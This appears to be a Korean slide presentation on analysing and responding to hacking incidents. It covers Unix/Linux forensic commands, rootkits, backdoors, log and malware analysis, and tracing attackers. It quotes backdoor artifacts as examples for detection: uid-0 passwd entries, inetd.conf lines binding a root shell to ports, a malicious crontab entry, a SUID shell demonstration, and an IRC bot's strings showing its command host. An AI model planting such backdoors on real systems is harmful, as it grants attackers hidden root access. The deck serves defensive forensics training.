540 likes | 957 Views
해킹사고 분석 & 대응 - - The Art of Security Management -. 이 현 우 hwlee@skinfosec.co.kr lotus@securitymap.net. 목 차. 해킹사고의 이해 공격자의 이해 해킹사고 분석/대응의 이해 해킹사고 분석 절차 피해시스템 분석 공격자 모니터링/추적/대응 IAM 서비스. 해킹사고의 이해. 눈에 보이는 공격 - The tip of Iceberg 10분만에 전세계의 취약한 시스템을 전복시킬 수 있다.
E N D
해킹사고 분석 & 대응-- The Art of Security Management - 이 현 우 hwlee@skinfosec.co.kr lotus@securitymap.net
목 차 • 해킹사고의 이해 • 공격자의 이해 • 해킹사고 분석/대응의 이해 • 해킹사고 분석 절차 • 피해시스템 분석 • 공격자 모니터링/추적/대응 • IAM 서비스
해킹사고의 이해 • 눈에 보이는 공격 - The tip of Iceberg • 10분만에 전세계의 취약한 시스템을 전복시킬 수 있다. • Sapphire Worm(slammer worm) • 보안이 되지 않은 시스템을 인터넷에 연결할 경우 2-3일 이내에 해킹 당한다. - Honeynet.org Project
해킹사고의 이해 • 더 큰 문제: 보이지 않는 공격 –Iceberg, Who Knows! • 사례) 전자상거래 사이트 DDoS 공격(2000. 2): 미국 20억 달러 피해 • 1999년 중순부터 은밀히 공격 준비(전세계의 취약한 Solaris 시스템에 공격 에이전트 설치 후 2000년 초에 공격) • 당신의 회사에만 일어난 공격이라면 어떻게 할 것인가 ? 2. 7 yahoo.com 3시간 서비스중단 2. 8 buy.com 4시간 동안 판매 지연 ebay.com 반나절 동안 서비스 중지 amazon.com 1시간 동안 판매 지연 cnn.com 2시간 동안 뉴스 방해 2. 9 datek.com 1시간 동안 중지 etrade.com 2시간 동안 중지 zdnet.com 수시간 동안 중지
해킹사고의 이해 • 해킹사고 유형 • 악성 프로그램 • 바이러스/인터넷 웜 • 트로이잔/스파이 웨어 • 서비스 거부 공격 • DoS, DDoS • 비 인가된 접근 • System 침입 • 비 인가된 사용(오남용) • 스팸/계정 도용 • 정보수집 • 스캐닝
공격자의 이해 • 당신의 생각보다 항상 더 똑똑하다. • Who Knows !
공격자의 이해 • 전통적인 공격자의 분류 • 엘리트(Elite) 해커 • 세미 엘리트(Semi Elite) • 스크립트 키디(Script Kiddie) • 레이머(Lamer) • 새로운 공격자 –Who Knows! • 산업 스파이 • 테러리스트 • 전문컴퓨터 범죄자 • 반달족(Vandals) • 모든 사고에는 목적과 배경이 있다. • 기업정보 유출 • 정치적 목적 • 도전/호기심을 채우기 위한 해킹 • 개인적 이익을 위한 해킹 사례) Phatbot primed to steal your credit card details
해킹사고 분석/대응의 이해 공격의 분석 공격의 탐지 File pos Mem pos ID Text ======== ======= == ==== 00002C2C 00002C2C 0 (9/wL 00008C54 00008C54 0 MODE atix-64613 +i 00009290 00009290 0 atix-64613 00009390 00009390 0 :desktop.at.eu.atixnet.com 000093AF 000093AF 0 atix-64613 000093BA 000093BA 0 :atix-64613=+~lord-232@211.41.240.235 00009590 00009590 0 :desktop.at.eu.atixnet.com 302 atix-64613 :atix-64613=+~lord-232@211.41.240.235 00009B90 00009B90 0 :desktop.at.eu.atixnet.com 0000A201 0000A201 0 PRy@RRy 0000AADC 0000AADC 0 rbot.ruters.net 0000B104 0000B104 0 rbot.ruters.net 0000B818 0000B818 0 Connected to rbot.ruters.net 0000B835 0000B835 0 d.net 0000B858 0000B858 0 rbot.ruters.net 0000B8DC 0000B8DC 0 #wOrm 0000BA14 0000BA14 0 msgfix.exe 0000BAA8 0000BAA8 0 C:\WINNT\system32 0000BBA8 0000BBA8 0 C:\WINNT\system32\msgfix.exe 0000BC00 0000BC00 0 !"#$%&'()*+,-./h 0000BC58 0000BC58 0 XYZ{K 0000BC76 0000BC76 0 0000BD44 0000BD44 0 defghijkx 0000BD54 0000BD54 0 tuvwxyz{@ 0000BD61 0000BD61 0 x 0000BD98 0000BD98 0 0000BDAC 0000BDAC 0 WinSock 2.0 0000BDB8 0000BDB8 0 \~ 0000BE8A 0000BE8A 0 IsProcessorFeaturePresent 0000BEAD 0000BEAD 0 Running 0000E061 0000E061 0 ENwx! 0000E105 0000E105 0 @.w0! 0000E12C 0000E12C 0 @.wX! 0000E822 0000E822 0 ox0>ox … 공격자 모니터링 공격자 추적/대응
사고보고 사건판단/ 사고번호할당 해킹사고 ? 아니오 예 초기분석/사고대응전략수립 단순사건 판단 시스템 격리/디스크 복사 긴급 조치 긴급사고 격리분석 피해시스템 분석 모니터링? 공격자 모니터링 예 아니오 사고대응 및 복구 보고 및 피드백 해킹사고 분석 절차 • 초기분석 • 피해 시스템의 상태 파악 • 사고보고 자료 • 피해시스템 관리자와의 인터뷰 • 피해시스템에 대한 초기 분석 • 네트워크 모니터링 여부 결정 • 사고대응 전략 수립 • 분석 • 라이브시스템 분석 vs 격리 분석 • 대응 방법 • 공격자 추적 및 모니터링 여부 • 긴급 복구 여부 • 법적 대응 여부
해킹사고 분석 절차 • 상세 분석 • 사고가 발생한 원인 및 공격방법 • 사고의 발생 시간 • 사고의 발생 범위 및 목적 • 빙산의 일각만을 찾기보다는 빙산 전체를 볼 줄 알아야 … • 공격자 출처 • 사고복구를 위한 긴급조치와 장기조치 방법 • 분석의 범위 • 네트워크 트래픽 • 피해 시스템 • 보안장비 • And So on … (사고의 특성에 따라 다름)
해킹사고 분석 절차 • 피해 시스템 분석 시 유의 사항 • 조급해 하지 않는다. • 일반적인 실수 • 분석 전에 미리 보안 패치를 한다. • 분석과정에서 수집된 데이터를 피해시스템에 저장한다. • 해킹과 관련된 파일을 삭제한다. • 해킹과 관련된 프로세스를 종료 시킨다. • 각각의 침입흔적에 대한 설명과 발견된 위치, 시간 등을 기록하고 보존한다. • 시스템 로그, 침입차단시스템 및 침입탐지시스템의 로그 • 분석과정에서 생성된 기록들 • 피해 시스템에서 발견된 파일 • 해당 사고와 관련된 다른 사이트에서 발견된 흔적들 • 과신하지 않는다.
해킹사고 분석 절차 • 사고 대응 및 복구 • 취약성 제거 • 보안패치/보안설정 • 사고범위 파악 후 모든 피해시스템에 대해서 조치 • 피해시스템 복구 • 시스템 재설치 • 가장 믿을만한 백업 사용 • 정상적인 서비스 운영 확인 • 관련자 통지 • 공격 사이트 • 피해 사이트 • 사고정보 공개
피해시스템 분석(Unix/Linux) • 피해시스템 분석 • 분석 준비 • 초기 분석 • 상세 분석 • 로그 파일 분석 • 해킹 프로그램 분석 • 피해시스템 분석도구
분석 준비 • 백업 • 정상적인 시스템 운영을 위한 백업 – 데이터 백업 • 피해 흔적 보존, 정확한 분석을 위한 백업 – 디스트 이미지 백업 • 고려사항(Chicken vs. Egg) • 백업을 먼저 할 것인가 vs. 분석을 먼저 할 것인가 ? • 시스템 운영 상황과 해킹사고의 특성에 때라 결정 • 기존의 정규적인 데이터 백업이 없고 피해시스템이 중요한 서비스를 제공하고 있다면, 먼저 서비스 운영을 위한 백업을 수행하고 분석 • 공격 흔적에 대한 보존이 필요하다면, 라이브 시스템에 대한 초기분석 이후에 Bit 단위의 디스크 복사 실시. 상세한 분석은 복사본을 분석 • 빠른 분석과 대응을 우선한다면, 먼저 분석하고 대응조치
초기 분석 • 고려 사항 • 실제 범죄현장에 접근하지 못하게 하고 현장을 보존하는 것과 유사 • 전원 끄기, 네트워크 분리 등의 모든 활동은 시스템 상태를 변화 시킨다. 피해시스템의 격리 이전에 휘발성 데이터를 충분히 수집 • 피해 여부, 피해 범위 등을 파악한다. • 피해 여부 파악을 위해 완전한 분석을 해야만 하는 경우도 많아지고 있음 • Live 한 상태의 시스템을 분석, 가능한 시스템의 상태를 변경시키지 않는 범위에서 분석 • 공격흔적 보존을 위해 최대한 격리 시킨다.(Firewall, ACL) • 한 사람이 분석하도록 한다. • 모든 분석 활동을 기록한다.(Script 명령)
초기 분석 • 시스템 환경 정보 • uptime, uname, df –k • 프로세스 정보 • ps, top, pstree • 현재 실행되고 있는 프로세스 정보 확인 • 네트워크 상태 정보 • netstat –nap • 네트워크 연결 상태 정보 확인 • ifconfig -a • 네트워크 인터페이스 상태 정보, 스니퍼 실행 여부 확인 • 열려진 파일 정보 • lsof(list Open File) • 현재 시스템에서 사용중인 모든 종류의 열려진 파일 정보 제공
초기 분석 • 사용자 정보 • w : 현재 로그인해 있는 사용자 및 사용자의 활동 정보 • last : 최근 시스템에 로그인한 사용자 정보 • /Proc 파일 시스템 • 실제로 존재하지 않는 가상의 파일 시스템으로 커널 데이터 스트럭쳐에 대한 정보 제공 • 시스템마다 구조가 조금씩 다름 • 피해시스템의 프로세스 정보 확인에 매우 유용함 • ps, ls 로 보이지 않는 숨겨진 프로세스, 파일 확인 가능 • 실행중인 삭제된 프로세스 복구 가능 • 프로세스가 사용하는 파일 확인(lsof)
초기 분석 • 주요 설정 파일 • 로그 파일
초기 분석 • MAC Time • 전체 파일시스템에 대해서 MAC time 정보 수집 # ls -Ralt --full-time --> mtime을 기준으로 정렬해서 보여준다. # ls -Raltu --full-time --> atime을 기준으로 정렬해서 보여준다. # ls -Raltc --full-time --> ctime을 기준으로 정렬해서 보여준다. • Md5sum • 주요 디렉토리의 실행파일에 대해서 무결성 정보 수집 #md5sum /bin/* > md5-bin.txt #md5sum /usr/bin/* > md5-usr-bin.txt #md5sum /usr/sbin/* > md5-usr-sbin.txt #md5sum /sbin/* > md5-sbin.txt • Portscan • 피해 시스템이 사용하는 열려진 포트 정보 수집 • 초기분석 마지막 단계에서 수행
상세 분석 • 무엇을 알기 위해 분석하는가 ? • 침입 시간, 방법 • 공격자의 출처 • 설치된 트로이잔 프로그램 • 숨겨진 디렉토리, 파일 • 공격자의 프로세스 • 공격의 목적 • Etc. • 일단 하나의 흔적(단서)를 찾게 되면 관련된 다른 모든 흔적을 찾아 갈 수 있다. • 하나의 숨겨진 흔적을 찾는 것이 관건 • 간혹 해킹여부를 파악하는 것 조차 힘든 경우가 많음 • Loadable Kernel Module
상세 분석 • 분석 방법 • 알려진 공격방법 분석(rootkit & backdoor) • MAC time 분석 • 변조된 파일 분석 • 악성 프로그램 분석 • 로그 분석
Rootkit • Rootkit의 목적 • 시스템 재 침입을 위한 백도어 설치 • 시스템 로그에 공격자의 활동이 기록되지 않도록 한다. • 시스템 명령을 위조하여 관리자로부터 노출되지 않도록 한다. • 네트워크 도청을 위한 스니퍼 프로그램 설치 • 로그에서 공격자와 관련된 부분만을 삭제해 주는 프로그램 제공 • 기타 다른 시스템 공격을 위한 프로그램 제공(DoS) • Rootkit 종류 • 어플리케이션 레벨 - LRK, T0rnkit • 커널 모듈 레벨 - Adore(LKM)
Rootkit • Rootkit의 구성(1) • 트로이잔 프로그램 • crontab : 공격자가 설정한 내용을 출력하지 않는 변조된 crontab 프로그램 • find : 공격자가 설정한 내용을 출력하지 않는 변조된 find 프로그램 • ifconfig : PROMISC flag를 숨겨주는 변조된 ifconfig 프로그램 • inetd : 원격에서 루트권한의 접속을 제공하는 변조된 inetd 프로그램 • chsh : 일반 사용자 권한에서 루트 권한을 제공해 주는 변조된 chsh 프로그램 • login : 루트권한의 로그인을 제공해 주는 변조된 login 프로그램 • ls : 공격자가 설정한 파일이나 디렉토리 내용을 출력하지 않는 변조된 ls 프로그램 • netstat : 공격자가 설정한 IP, 포트를 출력하지 않는 변조된 netstat 프로그램 • passwd : 일반 사용자권한에서 루트권한을 제공해 주는 변조된 passwd 프로그램 • ps : 공격자가 설정한 프로세스 출력하지 않는 변조된 ps 프로그램 • syslogd : 공격자의 활동을 로그하지 않는 변조된 syslogd 프로그램 • tcpd : 특정 커넥션을 숨기고, 연결이 거부(deny)되지 않도록 해주는 변조된 TCP-Wrapper 의 tcpd 프로그램 • sshd : 지정된 패스워드를 사용하여 루트권한으로 로그인 할 수 있는 변조된 sshd 프로그램
Rootkit • Rootkit의 구성(2) • 백도어/기타 프로그램 • bindshell : 특정 포트에 루트쉘을 바인딩시켜 해당포트로 접속하면 루트권한 획득 • linsniffer,es : 스니퍼 프로그램 • sniffchk : 스니퍼가 실행되고 있는지 점검해주는 프로그램(공격자 감시 소프트웨어, 또는 또 다른 공격자의 존재 유무를 점검하는데 사용된다.) • wted : wtmp, utmp 파일 편집기(공격자의 로그인 정보를 삭제할 때 사용됨) • z2 : utmp, wtmp, lastlog 삭제 프로그램 • Rootkit 설정 파일 • /dev/ptyr : ls 명령으로부터 숨기고 싶은 파일이나 디렉토리를 지정 • /dev/ptyq : netstat 명령으로부터 숨기고 싶은 IP 주소, UID, 포트번호를 지정 • /dev/ptyp : ps 명령으로부터 숨기고 싶은 프로세스 지정 • 공격자가 숨기고자 하는 파일, 네트워크 연결, 프로세스 등이 지정되므로 공격자 출처의 단서 제공
Rootkit • Loadable Kernel Module(LKM) • 사용자 명령에서 감추는 것이 아니라 Kernel 레벨에서 공격자의 활동을 은닉 • 정상적인 시스템 명령으로 분석할 수 없음 • 피해시스템 분석의 가장 큰 어려움 제공 • LKM 탐지 • LKM 분석 도구 • Kstat • Carbonite • Off-line 분석(LKM이 disable 된 상태에서 분석) • MAC time 분석(시스템 활동 상세 분석)
Backdoor • 백도어 • 관리자가 패스워드 교체, 보안 패치 등의 보안조치를 한 뒤에도 다시 시스템에 들어올 수 있도록 한다. • 시스템 로그파일이나 모니터링 명령으로 탐지되지 않도록 한다. • 최단시간에 손쉽게 시스템에 접속할 수 있도록 한다. • 백도어의 종류, 형태는 매우 다양
Backdoor • 패스워드 백도어 • 패스워드 파일 점검, uid 0 인 계정 또는 알지 못하는 계정 존재여부 확인 사례) 불법계정이 추가된 /etc/passwd 파일 ... reef:x:0:0::/tmp:/bin/csh rewt::0:0::/tmp:/bin/bash • SUID백도어 • find / -perm -6000 –ls 명령으로 suid, sgid 파일 점검 • find / -user root -type f -perm -04000 -ls root 소유의 SUID 파일 찾기 • find / -user root -type f -perm -02000 -ls root 소유의 SGID 파일 찾기 사례) suid 파일을 이용한 루트권한 획득 $ls -al ./.sha -rwsr-xr-x 1 root root 373176 Jan 30 17:24 ./.sha* $ id uid=506(lotus) gid=506(lotus) groups=506(lotus) $ ./.sha # id uid=506(lotus) gid=506(lotus) euid=0(root) groups=506(lotus)
Backdoor • 설정 파일을 이용한 백도어 • Inetd.conf 파일, xinetd.d 디렉토리내의 파일 점검 사례) 백도어가 숨겨진 /etc/inetd.conf파일 ... ingreslock stream tcpnowaitroot /bin/shsh-i 2222 stream tcpnowaitroot /bin/shsh–i • 네트워크 서비스 백도어 • 변조된 telnet, sshd, tcpd, inetd 등의 프로그램을 설치하여 백도어로 사용 • 주요 시스템 프로그램의 변조 유무 확인
Backdoor • Crontab 백도어 • Cron table에 특정 프로그램이 실행되도록 설정 • Cron table 점검 사례) root crontable에 등록된 공격 프로그램 #cat /var/spool/cron/crontabs/root ... * * * * * /dev/isdn/.subsys/tsolnmb> /dev/null 2>&1 • Rootshell binding 백도어 • 독립적인 프로그램으로 실행되며 특정 포트를 사용 • 해당 포트로 접속시 root shell 제공 • /etc/rc.d/ 디렉터리 내의 시작 스크립트 파일에 자동 시작되도록 설정
Backdoor • 네트워크 백도어 • CovertChannel • ICMP 백도어 • Reverse telnet, www 백도어 • Etc. • 백도어 복구 • 가장 확실한 시스템 제어 회복 방법은 재설치 • 만약 백도어를 완전히 제거하지 못할경우 지속적인 재침입 발생 • 복구 시 가장 믿을만한 백업 사용이 중요
변조된 파일 분석 • 피해시스템 분석에서 큰 비중 차지 • 대부분의 공격에서 트로이잔 프로그램이 설치 되며, 이를 찾을 경우 다른 공격흔적을 쉽게 발견할 수 있음 • 분석 방법 • 파일 크기 및 시간 속성 확인 • System call 추적 • Strings 명령 • 패키지 관리 명령 • 무결성 검사
변조된 파일 분석 • System Call 추적 # truss -t open ./ls open("/dev/zero", O_RDONLY) = 3 open("/usr/lib/libc.so.1", O_RDONLY) = 4 open("/usr/lib/libdl.so.1", O_RDONLY) = 4 open("/usr/platform/ … O_RDONLY) Err#2 ENOENT open("/dev/ptyr", O_RDONLY) Err#2 ENOENT open(".", O_RDONLY|O_NDELAY) = 3 # truss -t open /bin/ls open("/dev/zero", O_RDONLY) = 3 open("/usr/lib/libw.so.1", O_RDONLY) = 4 open("/usr/lib/libintl.so.1", O_RDONLY) = 4 open("/usr/lib/libc.so.1", O_RDONLY) = 4 open("/usr/lib/libdl.so.1", O_RDONLY) = 4 open("/usr/platform/ … .1", O_RDONLY) Err#2 ENOENT open(".", O_RDONLY|O_NDELAY) = 3
변조된 파일 분석 • 패키지 관리 명령 [redhat] $ rpm -Va ..5....T /bin/ls [solaris9] $ pkgchk -vn ERROR: /usr/bin/ls modtime <04/06/02 10:54:41 PM> expected <09/08/03 01:04:01 AM> actual file cksum <63074> expected <63042> actual /usr/bin/ls [debian] $ debsums -ac bin/ls
변조된 파일 분석 • 무결성 검사 • 초기분석에서 수집한 또는 의심스러운 바이너리에 대한 md5sum 값과 각 시스템 별로 올바른 무결성 값을 제공하는 사이트의 정보를 비교 • Solaris Fingerprint Service http://sunsolve.Sun.COM/pub-cgi/show.pl?target=content/content7 • 기타 • known goods: http://www.knowngoods.org/ • 각종 Linux 시스템 버전과 solaris 시스템에 대한 fingerprint 데이터베이스 제공. • cyber abuse: http://rk.cyberabuse.org/ • 알려진 루트킷 파일에 대한 fingerprint 데이터베이스 제공, 다른 데이터베이스와 달리, 공격 프로그램에 대한 fingerprint를 제공한다. • NSRL: http://www.nsrl.nist.gov/ • National Software Reference Library(NSRL)는 잘 알려진 소프트웨어의 fingerprint를 제공한다. 각종 OS에서부터 어플리케이션까지 상당히 많은 양의 데이터베이스를 제공하며 지속적으로 업데이트 된다. • HashKeeper: http://www.hashkeeper.org
MACTime 분석 • 파일 시간 속성(MAC Time) 정보 • mtime(modified time): 파일을 생성한 시간, 또는 가장 최근에 파일내용을 바꾼 시간 • atime(accessed time): 가장 최근에 파일을 읽거(read)나 실행(execution)시킨 시간 • ctime(changed time): 가장 최근에 파일의 소유자, 그룹, 퍼미션 등 파일의 속성(inode 정보)이 변경된 시간, 삭제된 파일에 대해서는 ctime을 파일의 삭제시간으로 추정할 수 있다. • MAC time 분석의 중요성 • 공격 시간을 알 경우 매우 편리한 방법 • 파일시스템 활동을 매우 세밀히 분석 할 수 있음 • MAC time이 변조가능하기는 하지만, 공격자 자신의 모든 활동을 감추기는 불가능
MAC Time 분석 • 시스템 활동에 따른 디렉토리의 MAC Time 변화 * 그림출처: securityfocus
MAC Time 분석 • 시스템 활동에 따른 파일의 MAC Time 변화 * 그림출처: securityfocus
MAC Time 분석 • ls 명령을 이용한 MAC Time 정보 수집 방법 • find/TCT를 이용한 MAC Time 정보 수집 방법 # find / -ctime +4 -ctime -31 -printf "%c %i\t%p\n" # find / -ctime -10 -printf "%c %i\t%p\n" # touch -t 200011070000 ./test # find /mnt -cnewer ./test -printf "%c %i\t%p\n" # ./grave-robber -b ./data -m /etc # ./mactime -b ./data month/day/year * 그림출처: securityfocus
로그파일 분석 • 고려사항 • 범죄 현장에서 자신의 흔적을 없애거나, 수사에 혼동을 줄 수 있도록 증거를 조작하는 것과 비슷 • 많은 경우 로그파일에 공격자의 흔적이 남아있지 않다. • 공격흔적이 남아 있더라도 변조될 수 있기때문에 피해시스템상의 로그는 믿을 수 없다. • 중앙 집중식의 원격 로깅 필요 • 로그 흔적 유형 • 로그파일 전체가 삭제된 경우 • 공격흔적이 너무 많은 경우 • 공격흔적이 없는 경우
로그파일 분석 • 로그 디렉토리 • /var/log, /var/adm, /usr/adm • 어플리케이션별 로그 파일 • 주요 로그 파일
로그파일 분석 • 로그 파일 분석 방법 • 공격 시간대를 중심으로 분석 # grep "Apr 14" /var/log/* • 공격 패턴을 중심으로 분석 • 주요 키워드 : 공격자가 사용하는 ID 이름, IP 주소, failed, failure, promiscuous, login, etc. # grep -i "key-word" /var/log/* • 로그 디렉토리 및 내용 • 로그 파일에서 로그의 연속성 • 로테이트되는 각 로그파일의 사이즈 비교 • syslogd서버가 재실행되는 부분의 로그
악성 프로그램 분석 • 실제 세계에서 범죄에 사용된 도구를 이해함으로써 어떠한 공격 의도가 있는지를 추측할 수 있는 것과 유사 • 피해시스템에 남겨진 공격프로그램의 형태 • 바이너리 파일만 남아 있는 경우 • 피해시스템을 다른 공격에 이용하고자 하는 목적이 강함 • 피해시스템에 대한 보안조치를 해 놓는 경우가 많음 Ex) DDoS 공격 • 소스코드를 포함한 많은 흔적이 있는 경우 • Script kiddies에 의한 공격으로 흔히 호기심 또는 테스트 목적으로 공격 • 많은 흔적이 남는다. • 아무런 흔적이 없는 경우 • 피해 시스템으로 의심은 가는데 흔적을 찾을 수 없는 경우
악성 프로그램 분석 • 정적 분석과 동적 분석 방법을 병행 사용 • 정적 분석 : 프로그램을 실행시키지 않고 분석한다. • file : 파일의 종류를 파악 • Strings : 바이너리 ASCII 값 출력, 프로그램의 간단한 기능 파악 • ldd, nm : 프로그램이 사용하는 라이브러리, 함수 분석 • 키워드 웹 검색 • Reassembly, reverse engineering • 동적 분석 : 프로그램을 실행시키며 분석한다. • 공격 프로그램의 활동을 제한, 폐쇠된 네트워크에서 분석 • 필요한 경우 인터넷에 연결된 상태에서 할수도 있음 • strace, truss, network monitoring, lsof, etc.
분석 도구 • TCT • 모든 피해 시스템 분석 경험을 자동화한 도구 • grave-robber : data collection tool • mactime : show mac time list • http://www.porcupine.org/forensics/tct.html • Sleuthkit/Autopsy • 다양한 파일 시스템 분석 도구 제공 • GUI 제공 • http://www.sleuthkit.org/ • Chkrootkit • 잘 알려진 rootkit, Worm, LKM 자동탐지 도구 • 시스템 해킹여부 판단에 도움 제공 • HTTP://www.chkrootkit.org
분석 도구 • 분석 전용 부팅 매체 • 한장의 CD-ROM에 피해시스템 분석에 필요한 도구 및 명령을 포함하고 있으며, 부팅 가능 • 피해시스템을 분석 전용 부팅 매체로 부팅하고, 피해시스템의 파일시스템을 읽기전용으로 마운트하여 분석 • 대용량의 피해시스템 디스크 이미지를 복사할 필요가 없어 편리 • 분석 시스템으로 사용할 수 있으며, 사용이 매우 편리 • 사고분석 전용 부팅 매체 • FIRE - http://fire.dmzs.com/ • FIRE 기술문서 - http://www.securitymap.net/sp/docs/Biatchux_0.4a.pdf • Liunx Forensics - http://www.linux-forensics.com/downloads.html • snarl - http://snarl.eecue.com/articles/ • 검색 앤진(google) : 가장 유용한 도구
공격자 모니터링 • 모니터링의 필요성 • 필요한 충분한 정보를 수집하지 못했을 경우, 특히 공격의 목적을 추적하기 위해서 필요 • 피해시스템 분석만으로 공격자의 출처를 찾을 수 없으며, 분석결과 공격자가 다시 시스템에 접근할 가능성이 있는 경우 • 사이트 내에서 다른 추가적인 해킹여부를 파악하기 위한 경우, 보통 한 시스템이 침입을 당했으면 관련된 다른 많은 시스템도 침입을 당했을 경우가 많다. • 공격자 또는 공격 프로그램의 활동을 추적하기 위해서 • 적극적인 보안대책으로서 공격자를 취약한 시스템으로 유인하고 격리 감시하는 경우
공격자 모니터링 • 모니터링 고려사항 • 모니터링이 발각될 경우 또는 공격자에 대한 통제가 안될 경우, 피해시스템을 비롯해 사이트내의 다른 시스템이 위험에 빠질 수 있다. 따라서 가능한 피해시스템 및 네트워크를 통제할 수 있는 상황에서 감시하는 것이 좋다. • 공격자가 피해시스템을 이용하여 타 사이트로 다시 공격하는 행동을 통제하여야 한다. • 침입한 공격자에 대해서 철저한 통제가 가능해야 한다. 일단 최악의 시나리오로, 침입 당한 시스템은 다시 설치할 최악의 상황을 고려해야 한다.
공격자 모니터링 • 모니터링 방법 • 네트워크 모니터링 • 피해시스템이 아닌 제3의 시스템을 이용하기 때문에 공격자가 쉽게 발견할 수 없다. • 네트워크로 오가는 모든 트래픽을 모니터링 할 수 있다. • SSH 등의 암호화 채널은 모니터링 하지 못한다. • 피해시스템 모니터링 • 공격자가 어떠한 명령을 사용하고 어떠한 활동을 했는지 등에 대한 자세히 정보를 수집할 수 있다. • 암호화된 트래픽을 모니터링하지 못하는 네트워크 모니터링의 단점을 보완해 준다. • 공격자로부터 노출될 우려가 큰 것이 단점이다. • Honeypot/Honeynet: • 통제된 상황을 미리 준비하여 만들어 놓고, 공격자가 침입하면 이를 모니터링함으로서 침입자에 대한 이해를 높이고, 이를 바탕으로 실제 사이트에 대한 위협을 줄이는 적극적인 보안방법이다.
공격자 추적 • Whois Database 검색 • ARIN 부터 검색해서 최하위 IR까지 검색 # whois ip-address@whois.database.address # whois –h whois.database.address ip-address • Whois database 주소 • 검색 앤진(google)
사고 대응 • 사고대응의 목적은 해킹사고의 확산방지와 피해시스템의 피해를 줄이기 위함 • 초기대응조치 • 초기분석 결과에 따라 긴급대응을 하거나 대응 방향을 설정 • 피해범위 파악 • 피해시스템 이외에 추가적인 피해를 확인 • 피해시스템 복구 • 피해시스템의 복구와 사이트 전반에 걸친 보안대책을 마련 • 공격 사이트 대응 • 해킹사고와 관련된 공격사이트, 다른 피해사이트에게 해당사실을 알리고 공동으로 사고에 대처 • 분석 보고서 및 보고 • 사고노트 등을 작성하여 배포함으로서 다른 사이트에 비슷한 유형의 사고를 방지할 수 있도록 도와준다. 또한 분석된 해킹사고를 다시 한번 검토할 수 있는 수단이 된다.